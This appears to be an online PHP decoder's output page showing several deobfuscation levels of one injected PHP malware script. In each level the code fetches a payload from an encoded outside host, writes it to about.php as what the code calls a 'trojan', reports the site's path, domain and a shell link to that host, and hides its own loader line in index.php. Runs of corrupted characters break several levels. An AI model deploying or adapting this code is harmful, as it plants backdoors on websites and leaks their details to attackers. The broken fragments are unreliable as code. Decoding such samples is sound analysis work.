Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

$O00OO_0_O_="n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j";
	$O000OOO___=$O00OO_0_O_{
	38
}
	.$O00OO_0_O_{
	12
}
	.$O00OO_0_O_{
	23
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	29
}
	.$O00OO_0_O_{
	16
}
	.$O00OO_0_O_{
	18
}
	.$O00OO_0_O_{
	10
}
	.$O00OO_0_O_{
	29
}
	.$O00OO_0_O_{
	32
}
	.$O00OO_0_O_{
	35
}
	.$O00OO_0_O_{
	0
}
	.$O00OO_0_O_{
	10
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	0
}
	.$O00OO_0_O_{
	10
}
	.$O00OO_0_O_{
	33
};
	$O_0O_0O0O_=$O00OO_0_O_{
	38
}
	.$O00OO_0_O_{
	12
}
	.$O00OO_0_O_{
	23
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	29
}
	.$O00OO_0_O_{
	27
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	10
}
	.$O00OO_0_O_{
	29
}
	.$O00OO_0_O_{
	32
}
	.$O00OO_0_O_{
	35
}
	.$O00OO_0_O_{
	0
}
	.$O00OO_0_O_{
	10
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	0
}
	.$O00OO_0_O_{
	10
}
	.$O00OO_0_O_{
	33
};
	$O0_O0_O0O_=$O00OO_0_O_{
	32
}
	.$O00OO_0_O_{
	24
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	6
}
	.$O00OO_0_O_{
	10
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	29
}
	.$O00OO_0_O_{
	38
}
	.$O00OO_0_O_{
	18
}
	.$O00OO_0_O_{
	0
}
	.$O00OO_0_O_{
	32
}
	.$O00OO_0_O_{
	10
}
	.$O00OO_0_O_{
	12
}
	.$O00OO_0_O_{
	35
}
	.$O00OO_0_O_{
	0
};
	$OOO0_O0_0_=$O00OO_0_O_{
	3
}
	.$O00OO_0_O_{
	6
}
	.$O00OO_0_O_{
	33
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	22
}
	.$O00OO_0_O_{
	36
}
	.$O00OO_0_O_{
	29
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	0
}
	.$O00OO_0_O_{
	32
}
	.$O00OO_0_O_{
	35
}
	.$O00OO_0_O_{
	26
}
	.$O00OO_0_O_{
	30
};
	$OO0O___0O0=$O00OO_0_O_{
	3
}
	.$O00OO_0_O_{
	6
}
	.$O00OO_0_O_{
	33
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	22
}
	.$O00OO_0_O_{
	36
}
	.$O00OO_0_O_{
	29
}
	.$O00OO_0_O_{
	26
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	32
}
	.$O00OO_0_O_{
	35
}
	.$O00OO_0_O_{
	26
}
	.$O00OO_0_O_{
	30
};
	$O_O_0_O00O=$O00OO_0_O_{
	16
}
	.$O00OO_0_O_{
	24
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	27
}
	.$O00OO_0_O_{
	29
}
	.$O00OO_0_O_{
	24
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	16
}
	.$O00OO_0_O_{
	23
}
	.$O00OO_0_O_{
	6
}
	.$O00OO_0_O_{
	32
}
	.$O00OO_0_O_{
	30
};
	$O_00O0OO__=$O00OO_0_O_{
	33
}
	.$O00OO_0_O_{
	10
}
	.$O00OO_0_O_{
	24
}
	.$O00OO_0_O_{
	29
}
	.$O00OO_0_O_{
	24
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	16
}
	.$O00OO_0_O_{
	23
}
	.$O00OO_0_O_{
	6
}
	.$O00OO_0_O_{
	32
}
	.$O00OO_0_O_{
	30
};
	$O_0_O0_O0O=$O00OO_0_O_{
	32
}
	.$O00OO_0_O_{
	18
}
	.$O00OO_0_O_{
	24
}
	.$O00OO_0_O_{
	23
}
	.$O00OO_0_O_{
	29
}
	.$O00OO_0_O_{
	33
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	10
}
	.$O00OO_0_O_{
	35
}
	.$O00OO_0_O_{
	16
}
	.$O00OO_0_O_{
	10
};
	$O_O_O000_O=$O00OO_0_O_{
	32
}
	.$O00OO_0_O_{
	18
}
	.$O00OO_0_O_{
	24
}
	.$O00OO_0_O_{
	23
}
	.$O00OO_0_O_{
	29
}
	.$O00OO_0_O_{
	32
}
.$O00OO_��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������x41\x4c\x53"
}
["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$url','$OO0O0_0_O_=@${
"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($url);
if(!$OO0O0_0_O_){
	$O0O0_O_0O_=${
	"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x5f\x5f\x30\x4f\x30\x5f\x30\x4f\x4f"]();
	${
	"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_URL,$url);
	${
	"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_RETURNTRANSFER,1);
	$OO0O0_0_O_=${
	"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x5f\x4f\x4f\x5f\x4f\x30\x30\x30\x5f"]($O0O0_O_0O_);
	${
	"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x5f\x4f\x5f\x4f\x30\x30\x30\x5f\x4f"]($O0O0_O_0O_);
}
return $OO0O0_0_O_;
');
$O_OO__0O00=${
"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O_0O_O_0O0=\'\'','$O_0_O_OO00=array();
$O_0_O_OO00["\x70\x61\x74\x68"]=${
"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](${
"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'//\',\'/\',${
"\x5f\x53\x45\x52\x56\x45\x52"
}
["\x50\x48\x50\x5f\x53\x45\x4c\x46"]),\'\',${
"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'\\\\\\\\\',\'/\',${
"\x5f\x53\x45\x52\x56\x45\x52"
}
["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]));
$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]=${
"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x4f\x30\x4f\x30\x5f\x5f\x4f\x30\x5f"]();
$O_0_O_OO00["\x73\x68\x65\x6c\x6c\x5f\x6c\x69\x6e\x6b"]=${
"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cDovL3VuaXZlcnNpZGFkZGVsc3VyLmVkdS5teC9hYm91dC5waHA/NTIw\');
if(isset(${
"\x5f\x47\x45\x54"
}
["\x64\x65\x6c"])&&${
"\x5f\x47\x45\x54"
}
["\x64\x65\x6c"]=="my_code"){
$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";
	$OO0O0O0___=@${
	"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);
	$O_OO_0_0O0=${
	"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");
	$OO0O0O0___=${
	"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);
	$OO0O0O0___=@${
	"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);
	if($OO0O0O0___>0){
	die("delete success");
}
die("delete failed");
}
$OO_O__O000=${
"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("YWJvdXQucGhw");
$O0O_0_O0_O=$O_0_O_OO00["\x70\x61\x74\x68"]."/".$OO_O__O000;
$OO0O0O0___=@${
"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"](${
"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("aHR0cHM6Ly81MWxhLmN2aTEuY29tL2EudHh0"));
$OO0O0O0___=@${
"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0O_0_O0_O,$OO0O0O0___);
if($OO0O0O0___>0){
$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="http://".$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]."/".$OO_O__O000;
}
else{
$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="write failed";
}
$OO_0O00O__=sprintf(${
"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cHM6Ly81MWxhLmN2aTEuY29tLz9kPSVz\'),${
"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f"](${
"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f"]($O_0_O_OO00)));
$O__OO0O00_=${
"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"]($OO_0O00O__);
if($O__OO0O00_=="done"){
$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";
	$OO0O0O0___=@${
	"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);
	$O_OO_0_0O0=${
	"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");
	$OO0O0O0___=${
	"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);
	@${
	"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);
}
');
${
"\x47\x4c\x4f\x42\x41\x4c\x53"
}
["\x4f\x5f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30"](1);

$O00OO_0_O_="n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j";
	$O000OOO___=$O00OO_0_O_{
	38
}
	.$O00OO_0_O_{
	12
}
	.$O00OO_0_O_{
	23
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	29
}
	.$O00OO_0_O_{
	16
}
	.$O00OO_0_O_{
	18
}
	.$O00OO_0_O_{
	10
}
	.$O00OO_0_O_{
	29
}
	.$O00OO_0_O_{
	32
}
	.$O00OO_0_O_{
	35
}
	.$O00OO_0_O_{
	0
}
	.$O00OO_0_O_{
	10
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	0
}
	.$O00OO_0_O_{
	10
}
	.$O00OO_0_O_{
	33
};
	$O_0O_0O0O_=$O00OO_0_O_{
	38
}
	.$O00OO_0_O_{
	12
}
	.$O00OO_0_O_{
	23
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	29
}
	.$O00OO_0_O_{
	27
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	10
}
	.$O00OO_0_O_{
	29
}
	.$O00OO_0_O_{
	32
}
	.$O00OO_0_O_{
	35
}
	.$O00OO_0_O_{
	0
}
	.$O00OO_0_O_{
	10
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	0
}
	.$O00OO_0_O_{
	10
}
	.$O00OO_0_O_{
	33
};
	$O0_O0_O0O_=$O00OO_0_O_{
	32
}
	.$O00OO_0_O_{
	24
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	6
}
	.$O00OO_0_O_{
	10
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	29
}
	.$O00OO_0_O_{
	38
}
	.$O00OO_0_O_{
	18
}
	.$O00OO_0_O_{
	0
}
	.$O00OO_0_O_{
	32
}
	.$O00OO_0_O_{
	10
}
	.$O00OO_0_O_{
	12
}
	.$O00OO_0_O_{
	35
}
	.$O00OO_0_O_{
	0
};
	$OOO0_O0_0_=$O00OO_0_O_{
	3
}
	.$O00OO_0_O_{
	6
}
	.$O00OO_0_O_{
	33
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	22
}
	.$O00OO_0_O_{
	36
}
	.$O00OO_0_O_{
	29
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	0
}
	.$O00OO_0_O_{
	32
}
	.$O00OO_0_O_{
	35
}
	.$O00OO_0_O_{
	26
}
	.$O00OO_0_O_{
	30
};
	$OO0O___0O0=$O00OO_0_O_{
	3
}
	.$O00OO_0_O_{
	6
}
	.$O00OO_0_O_{
	33
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	22
}
	.$O00OO_0_O_{
	36
}
	.$O00OO_0_O_{
	29
}
	.$O00OO_0_O_{
	26
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	32
}
	.$O00OO_0_O_{
	35
}
	.$O00OO_0_O_{
	26
}
	.$O00OO_0_O_{
	30
};
	$O_O_0_O00O=$O00OO_0_O_{
	16
}
	.$O00OO_0_O_{
	24
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	27
}
	.$O00OO_0_O_{
	29
}
	.$O00OO_0_O_{
	24
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	16
}
	.$O00OO_0_O_{
	23
}
	.$O00OO_0_O_{
	6
}
	.$O00OO_0_O_{
	32
}
	.$O00OO_0_O_{
	30
};
	$O_00O0OO__=$O00OO_0_O_{
	33
}
	.$O00OO_0_O_{
	10
}
	.$O00OO_0_O_{
	24
}
	.$O00OO_0_O_{
	29
}
	.$O00OO_0_O_{
	24
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	16
}
	.$O00OO_0_O_{
	23
}
	.$O00OO_0_O_{
	6
}
	.$O00OO_0_O_{
	32
}
	.$O00OO_0_O_{
	30
};
	$O_0_O0_O0O=$O00OO_0_O_{
	32
}
	.$O00OO_0_O_{
	18
}
	.$O00OO_0_O_{
	24
}
	.$O00OO_0_O_{
	23
}
	.$O00OO_0_O_{
	29
}
	.$O00OO_0_O_{
	33
}
	.$O00OO_0_O_{
	30
}
	.$O00OO_0_O_{
	10
}
	.$O00OO_0_O_{
	35
}
	.$O00OO_0_O_{
	16
}
	.$O00OO_0_O_{
	10
};
	$O_O_O000_O=$O00OO_0_O_{
	32
}
	.$O00OO_0_O_{
	18
}
	.$O00OO_0_O_{
	24
}
	.$O00OO_0_O_{
	23
}
	.$O00OO_0_O_{
	29
}
	.$O00OO_0_O_{
	32
}
.$O00OO_��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������x41LS"
}
["O0_O0_O0O_"]('$url','$OO0O0_0_O_=@${
"GLOBALS"
}
["O_0O_0O0O_"]($url);
if(!$OO0O0_0_O_){
	$O0O0_O_0O_=${
	"GLOBALS"
}
["O__0O0_0OO"]();
	${
	"GLOBALS"
}
["O_0_O0_O0O"]($O0O0_O_0O_,CURLOPT_URL,$url);
	${
	"GLOBALS"
}
["O_0_O0_O0O"]($O0O0_O_0O_,CURLOPT_RETURNTRANSFER,1);
	$OO0O0_0_O_=${
	"GLOBALS"
}
["O_OO_O000_"]($O0O0_O_0O_);
	${
	"GLOBALS"
}
["O_O_O000_O"]($O0O0_O_0O_);
}
return $OO0O0_0_O_;
');
$O_OO__0O00=${
"GLOBALS"
}
["O0_O0_O0O_"]('$O_0O_O_0O0=\'\'','$O_0_O_OO00=array();
$O_0_O_OO00["path"]=${
"GLOBALS"
}
["O_00O0OO__"](${
"GLOBALS"
}
["O_00O0OO__"](\'//\',\'/\',${
"_SERVER"
}
["PHP_SELF"]),\'\',${
"GLOBALS"
}
["O_00O0OO__"](\'\\\\\\\\\',\'/\',${
"_SERVER"
}
["SCRIPT_FILENAME"]));
$O_0_O_OO00["domain"]=${
"GLOBALS"
}
["OO0O0__O0_"]();
$O_0_O_OO00["shell_link"]=${
"GLOBALS"
}
["OO0O___0O0"](\'aHR0cDovL3VuaXZlcnNpZGFkZGVsc3VyLmVkdS5teC9hYm91dC5waHA/NTIw\');
if(isset(${
"_GET"
}
["del"])&&${
"_GET"
}
["del"]=="my_code"){
$O0_0OO_O0_=$O_0_O_OO00["path"]."/index.php";
	$OO0O0O0___=@${
	"GLOBALS"
}
["O_0O_0O0O_"]($O0_0OO_O0_);
	$O_OO_0_0O0=${
	"GLOBALS"
}
["OO0O___0O0"]("PFw/cGhwLitcKDFcKTtcPz4=");
	$OO0O0O0___=${
	"GLOBALS"
}
["O_O_0_O00O"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);
	$OO0O0O0___=@${
	"GLOBALS"
}
["O000OOO___"]($O0_0OO_O0_,$OO0O0O0___);
	if($OO0O0O0___>0){
	die("delete success");
}
die("delete failed");
}
$OO_O__O000=${
"GLOBALS"
}
["OO0O___0O0"]("YWJvdXQucGhw");
$O0O_0_O0_O=$O_0_O_OO00["path"]."/".$OO_O__O000;
$OO0O0O0___=@${
"GLOBALS"
}
["OOO_O00_0_"](${
"GLOBALS"
}
["OO0O___0O0"]("aHR0cHM6Ly81MWxhLmN2aTEuY29tL2EudHh0"));
$OO0O0O0___=@${
"GLOBALS"
}
["O000OOO___"]($O0O_0_O0_O,$OO0O0O0___);
if($OO0O0O0___>0){
$O_0_O_OO00["trojan"]="http://".$O_0_O_OO00["domain"]."/".$OO_O__O000;
}
else{
$O_0_O_OO00["trojan"]="write failed";
}
$OO_0O00O__=sprintf(${
"GLOBALS"
}
["OO0O___0O0"](\'aHR0cHM6Ly81MWxhLmN2aTEuY29tLz9kPSVz\'),${
"GLOBALS"
}
["OOO0_O0_0_"](${
"GLOBALS"
}
["O___00OO0O"]($O_0_O_OO00)));
$O__OO0O00_=${
"GLOBALS"
}
["OOO_O00_0_"]($OO_0O00O__);
if($O__OO0O00_=="done"){
$O0_0OO_O0_=$O_0_O_OO00["path"]."/index.php";
	$OO0O0O0___=@${
	"GLOBALS"
}
["O_0O_0O0O_"]($O0_0OO_O0_);
	$O_OO_0_0O0=${
	"GLOBALS"
}
["OO0O___0O0"]("PFw/cGhwLitcKDFcKTtcPz4=");
	$OO0O0O0___=${
	"GLOBALS"
}
["O_O_0_O00O"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);
	@${
	"GLOBALS"
}
["O000OOO___"]($O0_0OO_O0_,$OO0O0O0___);
}
');
${
"GLOBALS"
}
["O_OO__0O00"](1);

$O000OOO___="32rhexq0es4n0hn0w";
$O_0O_0O0O_="32rhe9h0es4n0hn0w";
$O0_O0_O0O_="skha0he3qns024n";
$OOO0_O0_0_="bawhl+ehns4gh";
$OO0O___0O0="bawhl+eghs4gh";
$O_O_0_O00O="xkh9ekhxrash";
$O_00O0OO__="w0kekhxrash";
$O_0_O0_O0O="sqkrewh04x0";
$O_O_O000_O="sqkres".$O00OO_��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������x41LS"
}
["O0_O0_O0O_"]('$url','$OO0O0_0_O_=@${
"GLOBALS"
}
["O_0O_0O0O_"]($url);
if(!$OO0O0_0_O_){
	$O0O0_O_0O_=${
	"GLOBALS"
}
["O__0O0_0OO"]();
	${
	"GLOBALS"
}
["O_0_O0_O0O"]($O0O0_O_0O_,CURLOPT_URL,$url);
	${
	"GLOBALS"
}
["O_0_O0_O0O"]($O0O0_O_0O_,CURLOPT_RETURNTRANSFER,1);
	$OO0O0_0_O_=${
	"GLOBALS"
}
["O_OO_O000_"]($O0O0_O_0O_);
	${
	"GLOBALS"
}
["O_O_O000_O"]($O0O0_O_0O_);
}
return $OO0O0_0_O_;
');
$O_OO__0O00=${
"GLOBALS"
}
["O0_O0_O0O_"]('$O_0O_O_0O0=\'\'','$O_0_O_OO00=array();
$O_0_O_OO00["path"]=${
"GLOBALS"
}
["O_00O0OO__"](${
"GLOBALS"
}
["O_00O0OO__"](\'//\',\'/\',${
"_SERVER"
}
["PHP_SELF"]),\'\',${
"GLOBALS"
}
["O_00O0OO__"](\'\\\\\\\\\',\'/\',${
"_SERVER"
}
["SCRIPT_FILENAME"]));
$O_0_O_OO00["domain"]=${
"GLOBALS"
}
["OO0O0__O0_"]();
$O_0_O_OO00["shell_link"]=${
"GLOBALS"
}
["OO0O___0O0"](\'aHR0cDovL3VuaXZlcnNpZGFkZGVsc3VyLmVkdS5teC9hYm91dC5waHA/NTIw\');
if(isset(${
"_GET"
}
["del"])&&${
"_GET"
}
["del"]=="my_code"){
$O0_0OO_O0_=$O_0_O_OO00["path"]."/indexphp";
	$OO0O0O0___=@${
	"GLOBALS"
}
["O_0O_0O0O_"]($O0_0OO_O0_);
	$O_OO_0_0O0=${
	"GLOBALS"
}
["OO0O___0O0"]("PFw/cGhwLitcKDFcKTtcPz4=");
	$OO0O0O0___=${
	"GLOBALS"
}
["O_O_0_O00O"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);
	$OO0O0O0___=@${
	"GLOBALS"
}
["O000OOO___"]($O0_0OO_O0_,$OO0O0O0___);
	if($OO0O0O0___>0){
	die("delete success");
}
die("delete failed");
}
$OO_O__O000=${
"GLOBALS"
}
["OO0O___0O0"]("YWJvdXQucGhw");
$O0O_0_O0_O=$O_0_O_OO00["path"]."/".$OO_O__O000;
$OO0O0O0___=@${
"GLOBALS"
}
["OOO_O00_0_"](${
"GLOBALS"
}
["OO0O___0O0"]("aHR0cHM6Ly81MWxhLmN2aTEuY29tL2EudHh0"));
$OO0O0O0___=@${
"GLOBALS"
}
["O000OOO___"]($O0O_0_O0_O,$OO0O0O0___);
if($OO0O0O0___>0){
$O_0_O_OO00["trojan"]="http://".$O_0_O_OO00["domain"]."/".$OO_O__O000;
}
else{
$O_0_O_OO00["trojan"]="write failed";
}
$OO_0O00O__=sprintf(${
"GLOBALS"
}
["OO0O___0O0"](\'aHR0cHM6Ly81MWxhLmN2aTEuY29tLz9kPSVz\'),${
"GLOBALS"
}
["OOO0_O0_0_"](${
"GLOBALS"
}
["O___00OO0O"]($O_0_O_OO00)));
$O__OO0O00_=${
"GLOBALS"
}
["OOO_O00_0_"]($OO_0O00O__);
if($O__OO0O00_=="done"){
$O0_0OO_O0_=$O_0_O_OO00["path"]."/indexphp";
	$OO0O0O0___=@${
	"GLOBALS"
}
["O_0O_0O0O_"]($O0_0OO_O0_);
	$O_OO_0_0O0=${
	"GLOBALS"
}
["OO0O___0O0"]("PFw/cGhwLitcKDFcKTtcPz4=");
	$OO0O0O0___=${
	"GLOBALS"
}
["O_O_0_O00O"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);
	@${
	"GLOBALS"
}
["O000OOO___"]($O0_0OO_O0_,$OO0O0O0___);
}
');
${
"GLOBALS"
}
["O_OO__0O00"](1);

$OOO0_O0_0_="bawhl+ehns4gh";
$OO0O___0O0="bawhl+eghs4gh";
$O_O_O000_O="sqkres".$O00OO_��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������x41LS"
}
["O0_O0_O0O_"]('$url','$OO0O0_0_O_=@${
"GLOBALS"
}
["O_0O_0O0O_"]($url);
if(!$OO0O0_0_O_){
	$O0O0_O_0O_=${
	"GLOBALS"
}
["O__0O0_0OO"]();
	${
	"GLOBALS"
}
["O_0_O0_O0O"]($O0O0_O_0O_,CURLOPT_URL,$url);
	${
	"GLOBALS"
}
["O_0_O0_O0O"]($O0O0_O_0O_,CURLOPT_RETURNTRANSFER,1);
	$OO0O0_0_O_=${
	"GLOBALS"
}
["O_OO_O000_"]($O0O0_O_0O_);
	${
	"GLOBALS"
}
["O_O_O000_O"]($O0O0_O_0O_);
}
return $OO0O0_0_O_;
');
$O_OO__0O00=${
"GLOBALS"
}
["O0_O0_O0O_"]('$O_0O_O_0O0=\'\'','$O_0_O_OO00=array();
$O_0_O_OO00["path"]=${
"GLOBALS"
}
["O_00O0OO__"](${
"GLOBALS"
}
["O_00O0OO__"](\'//\',\'/\',${
"_SERVER"
}
["PHP_SELF"]),\'\',${
"GLOBALS"
}
["O_00O0OO__"](\'\\\\\\\\\',\'/\',${
"_SERVER"
}
["SCRIPT_FILENAME"]));
$O_0_O_OO00["domain"]=${
"GLOBALS"
}
["OO0O0__O0_"]();
$O_0_O_OO00["shell_link"]=${
"GLOBALS"
}
["OO0O___0O0"](\'aHR0cDovL3VuaXZlcnNpZGFkZGVsc3VyLmVkdS5teC9hYm91dC5waHA/NTIw\');
if(isset(${
"_GET"
}
["del"])&&${
"_GET"
}
["del"]=="my_code"){
$O0_0OO_O0_=$O_0_O_OO00["path"]."/indexphp";
	$OO0O0O0___=@${
	"GLOBALS"
}
["O_0O_0O0O_"]($O0_0OO_O0_);
	$O_OO_0_0O0=${
	"GLOBALS"
}
["OO0O___0O0"]("PFw/cGhwLitcKDFcKTtcPz4=");
	$OO0O0O0___=${
	"GLOBALS"
}
["O_O_0_O00O"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);
	$OO0O0O0___=@${
	"GLOBALS"
}
["O000OOO___"]($O0_0OO_O0_,$OO0O0O0___);
	if($OO0O0O0___>0){
	die("delete success");
}
die("delete failed");
}
$OO_O__O000=${
"GLOBALS"
}
["OO0O___0O0"]("YWJvdXQucGhw");
$O0O_0_O0_O=$O_0_O_OO00["path"]."/".$OO_O__O000;
$OO0O0O0___=@${
"GLOBALS"
}
["OOO_O00_0_"](${
"GLOBALS"
}
["OO0O___0O0"]("aHR0cHM6Ly81MWxhLmN2aTEuY29tL2EudHh0"));
$OO0O0O0___=@${
"GLOBALS"
}
["O000OOO___"]($O0O_0_O0_O,$OO0O0O0___);
if($OO0O0O0___>0){
$O_0_O_OO00["trojan"]="http://".$O_0_O_OO00["domain"]."/".$OO_O__O000;
}
else{
$O_0_O_OO00["trojan"]="write failed";
}
$OO_0O00O__=sprintf(${
"GLOBALS"
}
["OO0O___0O0"](\'aHR0cHM6Ly81MWxhLmN2aTEuY29tLz9kPSVz\'),${
"GLOBALS"
}
["OOO0_O0_0_"](${
"GLOBALS"
}
["O___00OO0O"]($O_0_O_OO00)));
$O__OO0O00_=${
"GLOBALS"
}
["OOO_O00_0_"]($OO_0O00O__);
if($O__OO0O00_=="done"){
$O0_0OO_O0_=$O_0_O_OO00["path"]."/indexphp";
	$OO0O0O0___=@${
	"GLOBALS"
}
["O_0O_0O0O_"]($O0_0OO_O0_);
	$O_OO_0_0O0=${
	"GLOBALS"
}
["OO0O___0O0"]("PFw/cGhwLitcKDFcKTtcPz4=");
	$OO0O0O0___=${
	"GLOBALS"
}
["O_O_0_O00O"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);
	@${
	"GLOBALS"
}
["O000OOO___"]($O0_0OO_O0_,$OO0O0O0___);
}
');
${
"GLOBALS"
}
["O_OO__0O00"](1);



